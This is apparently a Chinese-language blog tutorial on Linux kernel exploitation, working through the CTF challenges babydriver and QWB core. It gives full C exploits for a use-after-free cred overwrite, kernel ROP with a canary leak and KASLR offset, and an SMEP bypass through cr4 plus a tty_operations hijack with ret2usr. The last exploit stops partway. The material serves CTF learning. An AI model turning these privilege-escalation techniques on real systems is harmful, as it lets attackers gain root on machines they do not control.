<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Kernel PWN從入門到提升

    VSole2023-03-23 10:17:57

    介于本人在入門kernel pwn的時候覺得當前trick種類繁多,前置知識也多得嚇人,有點不知所措,且有些大佬的博客經常對一些我個人認為比較重要的點一句話帶過,導致缺乏經驗的我在學習過程中屢屢碰壁。所以我決定用此文章結合一道不錯的例題盡可能詳細的來講一下kernel pwn從入門過渡到較高難度的部分,供想要學習kernel pwn的小伙伴們參考。

    在開始看這篇文章之前,我希望小伙伴們已經掌握了kernel pwn一些最基本的操作,例如裝好kernel pwn所需要的的前置環境。這一部分內容的優秀教程并不少。

    另外,如果在閱讀的過程中發現任何問題,都歡迎來和我交流指正。

    一、BASIC

    environment

    在學習kernel pwn之前,需要搭建好很多前置環境。

    • qemu
    • busybox
    • 編譯linux內核(可選)

    至于具體的安裝過程并不在本文的討論范圍內,如果還沒完成,先自行百度解決。

    文件系統

    kernel題一般都會給出一個打包好的文件系統,因此需要掌握常用到的打包/解包命令。

    find . | cpio -o --format=newc > ./rootfs.cpiocpio -idmv < ./rootfs.cpio
    

    (有時解包出來很奇怪,可能是原始cpio文件其實是以gz格式壓縮后的,先gunzip解壓一遍)

    cred結構體

    kernel使用cred結構體記錄了進程的權限,如果能劫持或偽造cred結構體,就能改變當前進程的權限。

    原型如下:

    struct cred {    atomic_t    usage;#ifdef CONFIG_DEBUG_CREDENTIALS    atomic_t    subscribers;    /* number of processes subscribed */    void        *put_addr;    unsigned    magic;#define CRED_MAGIC    0x43736564#define CRED_MAGIC_DEAD    0x44656144#endif    kuid_t        uid;        /* real UID of the task */    kgid_t        gid;        /* real GID of the task */    kuid_t        suid;        /* saved UID of the task */    kgid_t        sgid;        /* saved GID of the task */    kuid_t        euid;        /* effective UID of the task */    kgid_t        egid;        /* effective GID of the task */    kuid_t        fsuid;        /* UID for VFS ops */    kgid_t        fsgid;        /* GID for VFS ops */    unsigned    securebits;    /* SUID-less security management */    kernel_cap_t    cap_inheritable; /* caps our children can inherit */    kernel_cap_t    cap_permitted;    /* caps we're permitted */    kernel_cap_t    cap_effective;    /* caps we can actually use */    kernel_cap_t    cap_bset;    /* capability bounding set */    kernel_cap_t    cap_ambient;    /* Ambient capability set */#ifdef CONFIG_KEYS    unsigned char    jit_keyring;    /* default keyring to attach requested                     * keys to */    struct key __rcu *session_keyring; /* keyring inherited over fork */    struct key    *process_keyring; /* keyring private to this process */    struct key    *thread_keyring; /* keyring private to this thread */    struct key    *request_key_auth; /* assumed request_key authority */#endif#ifdef CONFIG_SECURITY    void        *security;    /* subjective LSM security */#endif    struct user_struct *user;    /* real user ID subscription */    struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */    struct group_info *group_info;    /* supplementary groups for euid/fsgid */    struct rcu_head    rcu;        /* RCU deletion hook */} __randomize_layout;
    

    一般而言,我們需要想辦法將uid和gid設置為0(root的uid和gid均為0)

    如果能劫持到程序流程,執行以下函數也可以達到相同效果:

    commit_creds(prepare_kernel_cred(0));commit_creds(init_cred);
    

    內核態函數

    運行在內核態的函數會和用戶態有些許不同。

    printf -> kprintf

    memcpy -> copy_to_user / copy_from_user

    內核的動態分配并不會采用用戶態的glibc,他的堆分配器是SLAB或SLUB。常使用的函數如下:

    malloc -> kmalloc

    free -> kfree

    為了安全考慮,內核態也只能運行內核態的函數(smep),想要運行system等函數,必須手動切換回用戶態。

    常用的指令是swapgs和iretq(或者swapgs_restore_regs_and_return_to_usermode函數,直接對CR3寄存器的第13位取反來完成切換頁表的操作,該函數在KPTI開啟的版本中依然有效,而swapgs往往會寄)

    然后需要在棧上存一些上下文:

    struct pt_regs {
    /* ...................... */
    /* Return frame for iretq */    unsigned long ip;    unsigned long cs;    unsigned long flags;    unsigned long sp;    unsigned long ss;/* top of stack page */};
    

    gdb遠程調試

    以babydriver這題為例,先使用腳本extract-vmlinux提取出帶符號的源碼。

    ./extract-vmlinux ./bzImage > ./vmlinux
    

    (腳本源碼: 

    https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux)

    (或者用這個https://github.com/marin-m/vmlinux-to-elf)

    在qemu中找到babydriver.ko代碼段的起始地址。

    啟動gdb過后導入符號表。

    add-symbol-file ./lib/modules/4.4.72/babydriver.ko 0xffffffffc0000000
    

    然后在boot.sh中添加以下參數:

    (直接-s也行)

    重新啟動qemu過后,gdb遠程連接。

    pwndbg> target remote 127.0.0.1:1234
    

    這里給出我常用的一些打包和調試的腳本。

    pack.sh

    #!/bin/zsh
    gcc \    ./exp.c \    -o exp    \    -masm=intel \    --static  \    -g
    chmod 777 ./exp
    find . | cpio -o --format=newc > ./rootfs.cpiochmod 777 ./rootfs.cpio
    

    gdbinit

    file ./vmlinuxtarget remote 127.0.0.1:1234c
    

    遠程腳本

    為了減小遠程exp的體積,使用musl進行靜態編譯()

    import sysimport osfrom pwn import *import string
    context.log_level='debug'
    sla = lambda x,y : p.sendlineafter(x,y)sa =  lambda x,y : p.sendafter(x,y)ru =  lambda x   : p.recvuntil(x)
    p = remote('127.0.0.1', 1234)
    def send_cmd(cmd):    sla('$ ', cmd)
    def upload():    lg = log.progress('Upload')    with open('exp', 'rb') as f:        data = f.read()    encoded = base64.b64encode(data)    encoded = str(encoded)[2:-1]    for i in range(0, len(encoded), 300):        lg.status('%d / %d' % (i, len(encoded)))        send_cmd('echo -n "%s" >> benc' % (encoded[i:i+300]))    send_cmd('cat benc | base64 -d > bout')    send_cmd('chmod +x bout')    lg.success()
    os.system('musl-gcc -w -s -static -o3 exp.c -o exp')upload()
    p.interactive()
    

    二、ATTACK

    Kernel UAF

    babydriver

    分析

    這是ciscn2017年的一道經典kernel pwn入門題。

    解壓rootfs.cpio后,在/lib/modules/4.4.72中找到了LKM文件babydriver.ko。

    checksec只開了nx,且沒有去除符號表,很方便調試和分析。

    直接丟ida分析。

    int __fastcall babyrelease(inode *inode, file *filp){  _fentry__(inode, filp);  kfree(babydev_struct.device_buf);  printk("device release");  return 0;}
    

    在babyrelease中kfree()之后沒有將babydev_struct.device_buf清空,從而導致了uaf漏洞。

    而且babydev_struct是一個babydevice_t類型的公共變量,結構如下。

    struct babydevice_t{    char *device_buf;    size_t device_buf_len;};
    

    device_buf是存一個緩沖區的指針,device_buf_len存該緩沖區大小。

    其他的函數都很常規,

    babyopen在打開一個設備的時候簡單設置了一下babydev_struct的值。

    int __fastcall babyopen(inode *inode, file *filp){  _fentry__(inode, filp);  babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 0x40LL);  babydev_struct.device_buf_len = 64LL;  printk("device open");  return 0;}
    

    babywrite和babyread都只檢查了一下device_buf指針是否為空和是否越界, 然后對device_buf進行常規的讀寫。

    ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset){  size_t v4; // rdx  ssize_t result; // rax  ssize_t v6; // rbx
      _fentry__(filp, buffer);  if ( !babydev_struct.device_buf )    return -1LL;  result = -2LL;  if ( babydev_struct.device_buf_len > v4 )  {    v6 = v4;    copy_from_user();    result = v6;  }  return result;}
    ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset){  size_t v4; // rdx  ssize_t result; // rax  ssize_t v6; // rbx
      _fentry__(filp, buffer);  if ( !babydev_struct.device_buf )    return -1LL;  result = -2LL;  if ( babydev_struct.device_buf_len > v4 )  {    v6 = v4;    copy_to_user(buffer);    result = v6;  }  return result;}
    

    babyioctl比較有意思,當第二個參數command為0x10001時,可以重新kmalloc一塊指定大小的object到babydev_struct.device_buf,從而修改了babydev_struct的device_buf_len為一個新值。

    __int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg){  size_t v3; // rdx  size_t v4; // rbx  __int64 result; // rax
      _fentry__(filp, command);  v4 = v3;  if ( command == 0x10001 )  {    kfree(babydev_struct.device_buf);    babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0LL);    babydev_struct.device_buf_len = v4;    printk("alloc done");    result = 0LL;  }  else  {    printk(&unk_2EB);    result = -22LL;  }  return result;}
    

    至此,利用思路已經非常明顯了。

    由于babydev_struct只存在一個,且調用到babyrelease的時候有uaf漏洞,我們可以open兩個設備,然后使用babyioctl將babydev_struct.device_buf_len改成cred結構體的大小之后free掉,造成第二個設備存在一個懸掛指針。

    此時再fork()一個新線程,由于kernel的內存分配器采用的是SLUB,之前釋放掉的那個和cred結構體相同大小的堆塊會直接當成這個線程的cred被申請。(kmem_cache_cpu->freelist是后進先出的,類似于用戶態glibc的fastbin,不過object并沒有header。另,本題內核版本在4.4.72,cred結構體的分配此時還并沒有被隔離到cred_jar中)

    在這個進程中使用babywrite,便可將cred的gid和uid都設置為0。

    寫好exp過后,由于rootfs.cpio里并沒有libc,所以編譯的時候要使用靜態編譯。

    gcc exp.c -o exp -static
    

    然后重新打包文件系統,并修改boot.sh中-initrd參數為新打包好的文件系統。

    此時再打開qemu,運行exp過后便可提權成功。

    (由于本做法在高版本不可能適用,且實際意義不大,所以下文將采用一些更"有意思"的做法來提權)

    exp

    #include#include#include#include#include#includeint main(){    int fd1 = open("/dev/babydev", O_RDWR);    int fd2 = open("/dev/babydev", O_RDWR);
        ioctl(fd1, 0x10001, 0xa8);
        close(fd1);    int id = fork();    if(id<0){        printf("fork error!");        exit(-1);    }    else if(id==0){        char cred[0x20] = {0};        write(fd2, cred, 0x1c);        if(getuid()==0){            system("/bin/sh");            exit(0);        }    }    else{        wait(NULL);    }    return 0;}
    

    Kernel ROP

    本質上和用戶態的rop并無區別,只是目標從getshell變成了提權,并且rop結束部分需要引導程序流著陸回用戶態。

    core

    分析

    題目給出了bzImage, core.cpio, start.sh, vmlinux四個文件。

    先將core.cpio解包,發現除了常規文件以外,還多了一個gen_cpio.sh。

    內容如下:

    find . -print0 \| cpio --null -ov --format=newc \| gzip -9 > $1
    

    這是一個快速打包用的批處理文件。

    看看start.sh。

    qemu-system-x86_64 \-m 64M \-kernel ./bzImage \-initrd  ./core.cpio \-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \-s \-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \-nographic  \
    

    開啟了kaslr保護,并且用-s為gdb開了端口,所以不需要再-gdb tcp::1234開了。

    不過他設置的64M內存不是很夠用,我最終設置到了256M才能啟動。

    然后分析init。

    #!/bin/shmount -t proc proc /procmount -t sysfs sysfs /sysmount -t devtmpfs none /dev/sbin/mdev -smkdir -p /dev/ptsmount -vt devpts -o gid=4,mode=620 none /dev/ptschmod 666 /dev/ptmxcat /proc/kallsyms > /tmp/kallsymsecho 1 > /proc/sys/kernel/kptr_restrictecho 1 > /proc/sys/kernel/dmesg_restrictifconfig eth0 upudhcpc -i eth0ifconfig eth0 10.0.2.15 netmask 255.255.255.0route add default gw 10.0.2.2insmod /core.ko
    poweroff -d 120 -f &setsid /bin/cttyhack setuidgid 1000 /bin/shecho 'sh end!'umount /procumount /sys
    poweroff -d 0  -f
    

    比較特殊的地方就是將/proc/sys/kernel/kptr_restrict和/proc/sys/kernel/dmesg_restrict的內容設為了1,如此一來,就無法通過dmesg和查看/proc/kallsyms來獲取函數地址了。

    好在他前面有一行:

    cat /proc/kallsyms > /tmp/kallsyms
    

    將kallsyms備份到了tmp文件夾下。

    然后之后設置了poweroff -d 120 -f,這句比較影響之后的調試,可以直接刪掉,或者把時間改長一點。

    我最終修改過后的init文件如下:

    mount -t proc proc /procmount -t sysfs sysfs /sysmount -t devtmpfs none /dev/sbin/mdev -smkdir -p /dev/ptsmount -vt devpts -o gid=4,mode=620 none /dev/ptschmod 666 /dev/ptmxcat /proc/kallsyms > /tmp/kallsymsecho 1 > /proc/sys/kernel/kptr_restrictecho 1 > /proc/sys/kernel/dmesg_restrictifconfig eth0 upudhcpc -i eth0ifconfig eth0 10.0.2.15 netmask 255.255.255.0route add default gw 10.0.2.2insmod /core.kochown root:root /flagchmod 400 /flagcat /sys/module/core/sections/.text > /tmp/info
    poweroff -d 1200000 -f &setsid /bin/cttyhack setuidgid 1000 /bin/sh# setsid /bin/cttyhack setuidgid 0 /bin/shecho 'sh end!'umount /procumount /sys
    poweroff -d 0  -f
    

    將core的.text節地址備份出來是為了方便后續gdb加載symbol文件。

    而且這個/sys/module/core/sections/.text是只有root能讀的,直接備份出來比較省事,當然也可以直接修改成root啟動。

    此外,為了方便后續打包和調試,我還寫了兩個批處理文件。

    root@ubuntu:/home/kotori/Desktop/core# cat pack.shrm ./core.cpio./gen_cpio.sh ./core.cpiochmod 777 ./core.cpioroot@ubuntu:/home/kotori/Desktop/core# cat mkc.shgcc ./exp.c -o exp --static -masm=intelchmod 777 ./expsudo ./pack.sh
    

    接下來就是分析core.ko的漏洞了。

    checksec發現開啟了canary和nx。

    init_module()和exit_core()分別注冊和注銷了/proc/core,core_release()什么都沒做,這里對它們不作分析。

    core_ioctl中定義了三種操作,分別是調用core_read(),設置全局變量off,調用core_copy_func()。

    __int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3){  switch ( a2 )  {    case 0x6677889B:      core_read(a3);      break;    case 0x6677889C:      printk(&unk_2CD);      off = a3;      break;    case 0x6677889A:      printk(&unk_2B3);      core_copy_func(a3);      break;  }  return 0LL;}
    

    core_read可以將距離rsp偏移為off的值往后拷貝0x40個字節給指定緩沖區。

    unsigned __int64 __fastcall core_read(__int64 a1){  char *v2; // rdi  __int64 i; // rcx  unsigned __int64 result; // rax  char v5[64]; // [rsp+0h] [rbp-50h] BYREF  unsigned __int64 v6; // [rsp+40h] [rbp-10h]
      v6 = __readgsqword(0x28u);  printk(&unk_25B);  printk(&unk_275);  v2 = v5;  for ( i = 16LL; i; --i )  {    *(_DWORD *)v2 = 0;    v2 += 4;  }  strcpy(v5, "Welcome to the QWB CTF challenge.");  result = copy_to_user(a1, &v5[off], 64LL);  if ( !result )    return __readgsqword(0x28u) ^ v6;  __asm { swapgs }  return result;}
    

    這里利用off是可以讀出canary的。

    core_write是將至多0x800個字節從指定緩沖區復制到name中去。

    __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3){  printk(&unk_215);  if ( a3 <= 0x800 && !copy_from_user(&name, a2, a3) )    return (unsigned int)a3;  printk(&unk_230);  return 0xFFFFFFF2LL;}
    

    這個core_copy_func則是本題最大的漏洞點。

    __int64 __fastcall core_copy_func(__int64 a1){  __int64 result; // rax  _QWORD v2[10]; // [rsp+0h] [rbp-50h] BYREF
      v2[8] = __readgsqword(0x28u);  printk(&unk_215);  if ( a1 > 63 )  {    printk(&unk_2A1);    result = 0xFFFFFFFFLL;  }  else  {    result = 0LL;    qmemcpy(v2, &name, (unsigned __int16)a1);  }  return result;}
    

    當長度參數a1小于等于63時,便可將name中對應字節數的數據復制到棧上變量v2中去,且a1和63作比較時是有符號數,最后調用qmemcpy時轉成了unsigned __int16。所以只需要將a1最低兩個字節的數據隨便設置成一個能裝下name的長度,然后其余字節都是0xff就行了。我這里最后構造的a1是0xffffffffffff0100。

    所以整個攻擊流程如下:

    ① 設置好off去讀出canary的值。

    ② 布置好rop之后調用core_write將rop寫入name中。

    ③ 調用core_copy_func,將name的內容寫入棧上變量v2中,造成棧溢出,調用commit_creds(prepare_kernel_cred(0))提權。

    當然,在寫rop之前,還有一個小小的問題需要解決。那就是解決kaslr和pie帶來的偏移問題。

    原始無pie的vmlinux基址是0xffffffff81000000

    commit_creds的地址是0xffffffff81000000+0x9c8e0

    prepare_kernel_creds的地址是0xffffffff8109cce0

    包括后續找到的gadgets的地址,這些全是no-pie情況下的地址,我們還需要知道真正運行起來的時候與之的偏移。

    這個其實就可以直接在/tmp/kallsyms中,利用他給出的commit_creds或prepare_kernel_cred此時的地址來計算出來。

    size_t leak_vmlinux_base(){    FILE* fd = fopen("/tmp/kallsyms", "r");    if(fd==NULL){        puts("[-] open file failed.");        exit(-1);    }    char buf[0x40] = {0};    while(fgets(buf, 0x30, fd)!=NULL){        if(strstr(buf, "commit_creds")){            char ptr[0x18] = {0};            strncpy(ptr, buf, 0x10);            sscanf(ptr, "%lx", &commit_creds);            printf("[+] commit_creds: 0x%lx", commit_creds);            prepare_kernel_cred = commit_creds-0x9c8e0+0x9cce0;            fclose(fd);            return commit_creds-0x9c8e0;        }        else if(strstr(buf, "prepare_kernel_cred")){            char ptr[0x18] = {0};            strncpy(ptr, buf, 0x10);            sscanf(ptr, "%lx", &prepare_kernel_cred);            printf("[+] prepare_kernel_cred: 0x%lx", prepare_kernel_cred);            commit_creds = prepare_kernel_cred-0x9cce0+0x9c8e0;            fclose(fd);            return prepare_kernel_cred-0x9cce0;        }    }    fclose(fd);    return 0;}
    

    gadgets的預處理可以用ropper解決(ROPgadget太慢了)。

    ropper --file ./vmlinux --nocolor > g
    

    至于rop的構思的話就非常簡單了,先擺好rdi為0,然后調用prepare_kernel_cred,此時返回值會在rax中,如果有mov rdi, rax; ret的話將絕殺,可惜沒有。

    不過好在有類似的好幾個,我選擇了mov rdi, rax; jmp rcx;

    如果在這之前將rcx擺好commit_creds就很方便了。

    然后切換回用戶態,iretq; ret是有的,swapgs就只有swapgs; popfq; ret;,所以后面要跟一個垃圾數據平衡一下棧。

    最后按照rip, cs, rflags, rsp, ss的順序擺好之前用戶態的寄存器就好了。

    exp

    #include#include#include#include#include#include#include#includesize_t u_cs, u_rflags, u_rsp, u_ss;size_t commit_creds, prepare_kernel_cred;void save_status(){    __asm__("mov u_cs, cs;"        "pushf;"        "pop u_rflags;"        "mov u_rsp, rsp;"        "mov u_ss, ss;"    );}void set_off(int fd, int offset){    ioctl(fd, 0x6677889c, offset);}size_t leak_canary(int fd){    size_t temp[0x10] = {0};    set_off(fd, 0x40);    ioctl(fd, 0x6677889b, temp);    return temp[0];}size_t leak_vmlinux_base(){    FILE* fd = fopen("/tmp/kallsyms", "r");    if(fd==NULL){        puts("[-] open file failed.");        exit(-1);    }    char buf[0x40] = {0};    while(fgets(buf, 0x30, fd)!=NULL){        if(strstr(buf, "commit_creds")){            char ptr[0x18] = {0};            strncpy(ptr, buf, 0x10);            sscanf(ptr, "%lx", &commit_creds);            printf("[+] commit_creds: 0x%lx", commit_creds);            prepare_kernel_cred = commit_creds-0x9c8e0+0x9cce0;            fclose(fd);            return commit_creds-0x9c8e0;        }        else if(strstr(buf, "prepare_kernel_cred")){            char ptr[0x18] = {0};            strncpy(ptr, buf, 0x10);            sscanf(ptr, "%lx", &prepare_kernel_cred);            printf("[+] prepare_kernel_cred: 0x%lx", prepare_kernel_cred);            commit_creds = prepare_kernel_cred-0x9cce0+0x9c8e0;            fclose(fd);            return prepare_kernel_cred-0x9cce0;        }    }    fclose(fd);    return 0;}void get_root_shell(){        if(getuid()==0)            system("/bin/sh");        else{            puts("[-] get root shell failed.");            exit(-1);        }}void rop(int fd, size_t canary, size_t offset){    size_t name[0x100] = {0};    //----gadgets----    size_t pop_rdi = 0xffffffff81000b2f; // pop rdi; ret;    size_t mov_rdi_rax_jmp_rcx = 0xffffffff811ae978; // mov rdi, rax; jmp rcx;    size_t pop_rcx = 0xffffffff81021e53; // pop rcx; ret;    size_t swapgs_popfq =  0xffffffff81a012da; // swapgs; popfq; ret;    size_t iretq  =  0xffffffff81050ac2; // iretq; ret;    int idx = 0;    for(idx=0;idx<10;idx++)        name[idx] = canary;    name[idx++] = pop_rdi + offset;    name[idx++] = 0;    name[idx++] = prepare_kernel_cred;    name[idx++] = pop_rcx + offset;    name[idx++] = commit_creds;    name[idx++] = mov_rdi_rax_jmp_rcx + offset;    name[idx++] = swapgs_popfq + offset;    name[idx++] = 0;    name[idx++] = iretq + offset;    name[idx++] = (size_t)get_root_shell; //rip    name[idx++] = u_cs;    name[idx++] = u_rflags;    name[idx++] = u_rsp;    name[idx++] = u_ss;    write(fd, name, 0x800);    puts("[+] rop loaded.");    ioctl(fd, 0x6677889a, (0xffffffffffff0100));}int main(){    save_status();    int fd = open("/proc/core", O_RDWR);    size_t canary = leak_canary(fd);    printf("[+] canary: 0x%lx", canary);    size_t vmlinux_base = leak_vmlinux_base();    if(!vmlinux_base){        printf("[-] leak base failed.");        exit(-1);    }    size_t vmlinux_base_no_pie = 0xffffffff81000000;    size_t offset = vmlinux_base - vmlinux_base_no_pie;    printf("[+] offset: 0x%lx", offset);    rop(fd, canary, offset);    return 0;}
    

    SMEP & ret2usr

    再看core

    之前使用kernel rop的方法打下來了core這道題。但其實,默認情況下,雖然內核態的函數在用戶空間下是無法運行的,但用戶態的函數在內核空間卻可以運行,因此我們可以在用戶空間構造好commit_creds(prepare_kernel_cred(0)),然后在內核空間以ring 0權限來運行它。

    利用這一點,可以對core的exp作出局部調整:

    加入get_root函數

    void get_root(){    void* (*cc)(char *) = commit_creds;    char* (*pkc)(int) = prepare_kernel_cred;    (*cc)((*pkc)(0)); // commit_creds(prepare_kernel_cred(0));}
    

    修改rop

    for(idx=0;idx<10;idx++)    name[idx] = canary;/*name[idx++] = pop_rdi + offset;name[idx++] = 0;name[idx++] = prepare_kernel_cred;name[idx++] = pop_rcx + offset;name[idx++] = commit_creds;name[idx++] = mov_rdi_rax_jmp_rcx + offset;*/name[idx++] = (size_t)get_root;name[idx++] = swapgs_popfq + offset;name[idx++] = 0;name[idx++] = iretq + offset;name[idx++] = (size_t)get_root_shell; //ripname[idx++] = u_cs;name[idx++] = u_rflags;name[idx++] = u_rsp;name[idx++] = u_ss;
    

    仍然可以成功提權。

    (不過此方法在不久之后出現KPTI頁表隔離保護之后就完全沒法利用了)

    SMEP & SMAP

    Introduction

    smep保護使得內核態也不能執行內核空間的代碼了,因此直接ret2usr會失敗。

    (與之相近的保護機制是smap,他能讓內核空間無法直接訪問用戶空間的數據)

    不過是否開啟smep保護是記錄在cr4寄存器上的。

    cr4寄存器的第20位為1時SMEP就視為開啟,為0則視為關閉。

    Bypass

    既然知道了判斷是否開啟smep的機制,那么bypass思路也很清晰了。只需要利用某些gadgets來修改cr4寄存器的值即可。(通常改成0x6f0,同時關閉smep和smap。不過控制cr4的gadgets在高版本無了)

    REsolve: babydriver (hijack tty_operation + ret2usr)

    分析

    這里用ret2usr的方法再解決一遍babydriver這道題。

    查看boot.sh,發現開啟了smep。

    qemu-system-x86_64 \    -initrd rootfs.cpio \    -kernel bzImage \    -append 'console=ttyS0 root=/dev/ram nopti oops=panic panic=1' \    -enable-kvm -monitor /dev/null -m 256M --nographic  -smp cores=1,threads=1 -cpu kvm64,+smep
    

    所以我們需要用rop來關閉smep,然后再ret2usr提權。

    可是這道題的洞是uaf,如何達成rop的目的呢?這里就需要用到tty_struct和tty_operation這兩個結構體了。

    他們的原型分別如下:

    struct tty_struct {    int magic;    struct kref kref;    struct device *dev;    struct tty_driver *driver;    const struct tty_operations *ops;    int index;    /* Protects ldisc changes: Lock tty not pty */    struct ld_semaphore ldisc_sem;    struct tty_ldisc *ldisc;    struct mutex atomic_write_lock;    struct mutex legacy_mutex;    struct mutex throttle_mutex;    struct rw_semaphore termios_rwsem;    struct mutex winsize_mutex;    spinlock_t ctrl_lock;    spinlock_t flow_lock;    /* Termios values are protected by the termios rwsem */    struct ktermios termios, termios_locked;    struct termiox *termiox;    /* May be NULL for unsupported */    char name[64];    struct pid *pgrp;       /* Protected by ctrl lock */    struct pid *session;    unsigned long flags;    int count;    struct winsize winsize;     /* winsize_mutex */    unsigned long stopped:1,    /* flow_lock */              flow_stopped:1,              unused:BITS_PER_LONG - 2;    int hw_stopped;    unsigned long ctrl_status:8,    /* ctrl_lock */              packet:1,              unused_ctrl:BITS_PER_LONG - 9;    unsigned int receive_room;  /* Bytes free for queue */    int flow_change;    struct tty_struct *link;    struct fasync_struct *fasync;    wait_queue_head_t write_wait;    wait_queue_head_t read_wait;    struct work_struct hangup_work;    void *disc_data;    void *driver_data;    spinlock_t files_lock;      /* protects tty_files list */    struct list_head tty_files;#define N_TTY_BUF_SIZE 4096    int closing;    unsigned char *write_buf;    int write_cnt;    /* If the tty has a pending do_SAK, queue it here - akpm */    struct work_struct SAK_work;    struct tty_port *port;} __randomize_layout;
    struct tty_operations {    struct tty_struct * (*lookup)(struct tty_driver *driver,            struct file *filp, int idx);    int  (*install)(struct tty_driver *driver, struct tty_struct *tty);    void (*remove)(struct tty_driver *driver, struct tty_struct *tty);    int  (*open)(struct tty_struct * tty, struct file * filp);    void (*close)(struct tty_struct * tty, struct file * filp);    void (*shutdown)(struct tty_struct *tty);    void (*cleanup)(struct tty_struct *tty);    int  (*write)(struct tty_struct * tty,              const unsigned char *buf, int count);    int  (*put_char)(struct tty_struct *tty, unsigned char ch);    void (*flush_chars)(struct tty_struct *tty);    int  (*write_room)(struct tty_struct *tty);    int  (*chars_in_buffer)(struct tty_struct *tty);    int  (*ioctl)(struct tty_struct *tty,            unsigned int cmd, unsigned long arg);    long (*compat_ioctl)(struct tty_struct *tty,                 unsigned int cmd, unsigned long arg);    void (*set_termios)(struct tty_struct *tty, struct ktermios * old);    void (*throttle)(struct tty_struct * tty);    void (*unthrottle)(struct tty_struct * tty);    void (*stop)(struct tty_struct *tty);    void (*start)(struct tty_struct *tty);    void (*hangup)(struct tty_struct *tty);    int (*break_ctl)(struct tty_struct *tty, int state);    void (*flush_buffer)(struct tty_struct *tty);    void (*set_ldisc)(struct tty_struct *tty);    void (*wait_until_sent)(struct tty_struct *tty, int timeout);    void (*send_xchar)(struct tty_struct *tty, char ch);    int (*tiocmget)(struct tty_struct *tty);    int (*tiocmset)(struct tty_struct *tty,            unsigned int set, unsigned int clear);    int (*resize)(struct tty_struct *tty, struct winsize *ws);    int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);    int (*get_icount)(struct tty_struct *tty,                struct serial_icounter_struct *icount);    void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);#ifdef CONFIG_CONSOLE_POLL    int (*poll_init)(struct tty_driver *driver, int line, char *options);    int (*poll_get_char)(struct tty_driver *driver, int line);    void (*poll_put_char)(struct tty_driver *driver, int line, char ch);#endif    int (*proc_show)(struct seq_file *, void *);} __randomize_layout;
    

    在tty_struct中有const struct tty_operations *ops;

    因此如果可以偽造出一個tty_struct,使它的*ops指向一個偽造出來的tty_operation,即可利用write和ioctl這些函數來劫持程序執行流程。

    由于不熟悉結構體,我這里是先把tty_operation的內容布置成了比較有規律的樣子,然后利用報錯計算偏移。

    size_t fake_tty_operation[0x20] = {                0xffffffff00000000,                0xffffffff00000001,                0xffffffff00000002,                0xffffffff00000003,                0xffffffff00000004,                0xffffffff00000005,                0xffffffff00000006,                0xffffffff00000007,                0xffffffff00000008,                0xffffffff00000009,                0xffffffff0000000a,                0xffffffff0000000b,                0xffffffff0000000c};
    

    一閃而過的報錯中,可以看出來babywrite是被劫持到了tty_operation[7]這個位置,所以直接從這里開始劫持控制流。(后面發現,只要在啟動腳本中加一句-no-reboot就不用擔心看不見報錯了,淚目)

    想要完成內核rop,此時肯定需要控制一下rsp的位置,有一個比較好用的gadget:

    0xffffffff8181bfc5: mov rsp, rax; dec ebx; jmp 0xffffffff8181bf7e;0xffffffff8181bf7e: ret;
    

    經過調試,發現此時rax的值剛好是這個tty_operation結構體的首地址。

    所以此時有兩個思路:

    ① 復用一次0xffffffff8181bfc5這里的gadget,把rsp劫持到用戶態的rop那里去。

    ② 直接在tty_operation里rop,但是要注意一下繞過tty_operation[7]。

    不管用哪個,最終都能成功劫持程序流完成ret2usr。(由于一些原因,我還是選擇了第二種方式)

    不過有一個問題,使用這題原生的內核版本4.4.72會出現PANIC: double fault, error_code: 0x0這樣的報錯,所以需要換內核版本運行,這里就不過多討論了。

    查了一些資料過后,發現很可能是PTI保護機制的問題,在嘗試關閉PTI無果之后,發現其實可以通過對特定signal的處理來繼續完成利用,比如說PTI機制這里會拋出的11號信號,給他處理成get_root_shell這個函數就行了,因為在這之前已經完成了bypass smep和prepare_kernel_cred(commit_creds(0))的操作。

    (本來想用swapgs_restore_regs_and_return_to_usermode的,不過這個題內核版本太老了,貌似還并沒有引進這個函數)

    exp

    #include#include#include#include#include#include#include#include
    size_t usr_cs, usr_rflags, usr_rsp, usr_ss;void save_status(){    __asm__("mov usr_cs, cs;"        "pushf;"        "pop usr_rflags;"        "mov usr_rsp, rsp;"        "mov usr_ss, ss;"    );}void get_root(){    char* (*pkc)(int) = 0xffffffff810a1810; // prepare_kernel_cred;    void* (*cc)(char*) = 0xffffffff810a1420; // commit_creds;    (*cc)((*pkc)(0));}void get_root_shell(){    if(getuid()!=0){        puts("[-] get root failed.");        exit(-1);    }    system("/bin/sh");}int main(){    save_status();    signal(11, (size_t)get_root_shell);
        int fd1 = open("/dev/babydev", O_RDWR);    int fd2 = open("/dev/babydev", O_RDWR);    ioctl(fd1, 0x10001, 0x2e0);    close(fd1);  // uaf    size_t rop[0x30] = {0};    int i = 0;    rop[i++] = 0xffffffff810d238d; // pop rdi; ret;    rop[i++] = 0x6f0; // bypass smep    rop[i++] = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret;    rop[i++] = 0;    rop[i++] = (size_t)get_root;  // ret2usr    rop[i++] = 0xffffffff81063694; // swapgs; pop rbp; ret;    rop[i++] = 0;    rop[i++] = 0xffffffff814e35ef; // iretq; ret;    rop[i++] = (size_t)get_root_shell; // rip    rop[i++] = usr_cs;    rop[i++] = usr_rflags;    rop[i++] = usr_rsp;    rop[i++] = usr_ss;
